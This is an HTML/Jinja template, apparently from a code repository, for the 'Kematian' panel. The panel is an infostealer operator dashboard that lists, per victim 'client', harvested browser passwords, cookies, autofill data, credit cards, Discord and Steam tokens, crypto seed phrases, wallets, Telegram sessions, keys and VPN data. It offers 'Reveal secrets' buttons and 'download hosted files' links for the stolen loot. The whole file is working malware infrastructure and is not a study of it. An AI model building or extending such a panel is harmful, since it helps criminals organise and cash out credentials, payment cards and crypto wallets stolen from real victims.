152 lines
7.2 KiB
HTML
152 lines
7.2 KiB
HTML
{% extends "base.html" %}
|
|||
|
|
{% block title %}{{ title }} · Kematian{% endblock %}
|
||
|
|
{% block content %}
|
||
|
|
<div class="page-head">
|
||
|
|
<div>
|
||
|
|
<h1 class="with-ico"><img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" class="head-ico" alt="">{{ label }}</h1>
|
||
|
|
<p class="muted">{{ title }} · {{ rows|length }} total{% if client_filter %} · <a href="{{ url_for('category', key=key) }}">clear filter</a>{% endif %}</p>
|
||
|
|
{% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %}
|
||
|
|
<p class="muted"><a href="{{ url_for('client_loot', client_id=client_filter) }}" class="accent">→ download hosted files for this client</a></p>
|
||
|
|
{% endif %}
|
||
|
|
</div>
|
||
|
|
<div class="head-actions">
|
||
|
|
{% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %}
|
||
|
|
<button type="button" class="btn btn-ghost reveal-all">Reveal secrets</button>
|
||
|
|
{% endif %}
|
||
|
|
<a class="btn btn-ghost" href="{{ url_for('api_raw', key=key) }}{% if client_filter %}?client={{ client_filter }}{% endif %}" target="_blank">Raw JSON</a>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div class="table-card">
|
||
|
|
<div class="table-scroll">
|
||
|
|
<table class="cat-table">
|
||
|
|
<thead>
|
||
|
|
<tr>
|
||
|
|
{% if key == 'passwords' %}<th>URL</th><th>Username</th><th>Password</th><th>Browser</th>{% endif %}
|
||
|
|
{% if key == 'cookies' %}<th>Host</th><th>Name</th><th>Value</th><th>Browser</th>{% endif %}
|
||
|
|
{% if key == 'autofill' %}<th>Field</th><th>Value</th><th>Browser</th>{% endif %}
|
||
|
|
{% if key == 'history' %}<th>URL</th><th>Title</th><th>Visits</th><th>Last visit</th>{% endif %}
|
||
|
|
{% if key == 'bookmarks' %}<th>Name</th><th>URL</th><th>Type</th>{% endif %}
|
||
|
|
{% if key == 'credit_cards' %}<th>Card</th><th>Holder</th><th>Exp</th><th>Browser</th>{% endif %}
|
||
|
|
{% if key == 'discord_tokens' %}<th>Token</th><th>Source</th>{% endif %}
|
||
|
|
{% if key == 'files' %}<th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||
|
|
{% if key == 'extensions' %}<th>Name</th><th>Version</th><th>Browser</th><th>ID</th>{% endif %}
|
||
|
|
{% if key == 'wallets' %}<th>Name</th><th>Type</th><th>Size</th><th>Addresses</th>{% endif %}
|
||
|
|
{% if key == 'telegram' %}<th>Account</th><th>Files</th><th>Size</th><th>Path</th>{% endif %}
|
||
|
|
{% if key == 'keys' %}<th>Type</th><th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||
|
|
{% if key in ['wallets','telegram','gaming'] %}<th>Files</th>{% endif %}
|
||
|
|
{% if key == 'app_credentials' %}<th>App</th><th>Host</th><th>Username</th><th>Password</th>{% endif %}
|
||
|
|
{% if key == 'seeds' %}<th>Phrase</th><th>Source</th><th>Words</th>{% endif %}
|
||
|
|
{% if key == 'gaming' %}<th>Platform</th><th>Data</th>{% endif %}
|
||
|
|
{% if key == 'steam_tokens' %}<th>Steam ID</th><th>Token</th>{% endif %}
|
||
|
|
{% if key == 'vpns' %}<th>VPN</th><th>Data</th>{% endif %}
|
||
|
|
<th>Client</th>
|
||
|
|
</tr>
|
||
|
|
</thead>
|
||
|
|
<tbody>
|
||
|
|
{% for r in rows %}
|
||
|
|
<tr>
|
||
|
|
{% if key == 'passwords' %}
|
||
|
|
<td class="mono">{{ r['url'] or '' }}</td>
|
||
|
|
<td>{{ r['username'] or '' }}</td>
|
||
|
|
<td class="pw">{{ r['password'] or '' }}</td>
|
||
|
|
<td>{{ r['browser'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'cookies' %}
|
||
|
|
<td class="mono">{{ r['host'] or '' }}</td>
|
||
|
|
<td class="mono">{{ r['name'] or '' }}</td>
|
||
|
|
<td class="mono pw">{{ r['value'] or '' }}</td>
|
||
|
|
<td>{{ r['browser'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'autofill' %}
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td class="pw">{{ r['value'] or '' }}</td>
|
||
|
|
<td>{{ r['browser'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'history' %}
|
||
|
|
<td class="mono">{{ r['url'] or '' }}</td>
|
||
|
|
<td>{{ r['title'] or '' }}</td>
|
||
|
|
<td>{{ r['visit_count'] or 0 }}</td>
|
||
|
|
<td>{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'bookmarks' %}
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td class="mono">{{ r['url'] or '' }}</td>
|
||
|
|
<td>{{ r['type'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'credit_cards' %}
|
||
|
|
<td class="pw">{{ r['card_number'] or '' }}</td>
|
||
|
|
<td>{{ r['name_on_card'] or '' }}</td>
|
||
|
|
<td>{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}</td>
|
||
|
|
<td>{{ r['browser'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'discord_tokens' %}
|
||
|
|
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||
|
|
<td>{{ r['source'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'files' %}
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td>{{ (r['size'] | filesize) }}</td>
|
||
|
|
<td class="mono">{{ r['path'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'extensions' %}
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td>{{ r['version'] or '' }}</td>
|
||
|
|
<td>{{ r['browser'] or '' }}</td>
|
||
|
|
<td class="mono">{{ r['ext_id'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'wallets' %}
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td>{{ r['type'] or '' }}</td>
|
||
|
|
<td>{{ (r['size'] | filesize) }}</td>
|
||
|
|
<td class="mono">{{ r['addresses'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'telegram' %}
|
||
|
|
<td>{{ r['account'] or '' }}</td>
|
||
|
|
<td>{{ r['files'] or 0 }}</td>
|
||
|
|
<td>{{ (r['size'] | filesize) }}</td>
|
||
|
|
<td class="mono">{{ r['path'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'keys' %}
|
||
|
|
<td>{{ r['type'] or '' }}</td>
|
||
|
|
<td>{{ r['name'] or '' }}</td>
|
||
|
|
<td>{{ (r['size'] | filesize) }}</td>
|
||
|
|
<td class="mono">{{ r['path'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key in ['wallets','telegram','gaming'] %}
|
||
|
|
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_loot', client_id=r.client_id) }}">Download</a></td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'app_credentials' %}
|
||
|
|
<td>{{ r['application'] or '' }}</td>
|
||
|
|
<td class="mono">{{ r['host'] or '' }}</td>
|
||
|
|
<td>{{ r['username'] or '' }}</td>
|
||
|
|
<td class="pw">{{ r['password'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'seeds' %}
|
||
|
|
<td class="mono pw">{{ r['phrase'] or '' }}</td>
|
||
|
|
<td>{{ r['source'] or '' }}</td>
|
||
|
|
<td>{{ r['words'] or 0 }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'gaming' %}
|
||
|
|
<td>{{ r['platform'] or '' }}</td>
|
||
|
|
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'steam_tokens' %}
|
||
|
|
<td class="mono">{{ r['steam_id'] or '' }}</td>
|
||
|
|
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||
|
|
{% endif %}
|
||
|
|
{% if key == 'vpns' %}
|
||
|
|
<td>{{ r['vpn'] or '' }}</td>
|
||
|
|
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||
|
|
{% endif %}
|
||
|
|
<td><a href="{{ url_for('client_detail', client_id=r.client_id) }}" class="mono client-link">{{ r.client_id }}</a></td>
|
||
|
|
</tr>
|
||
|
|
{% else %}
|
||
|
|
<tr><td colspan="12" class="empty">No {{ label|lower }} yet.</td></tr>
|
||
|
|
{% endfor %}
|
||
|
|
</tbody>
|
||
|
|
</table>
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
{% endblock %}
|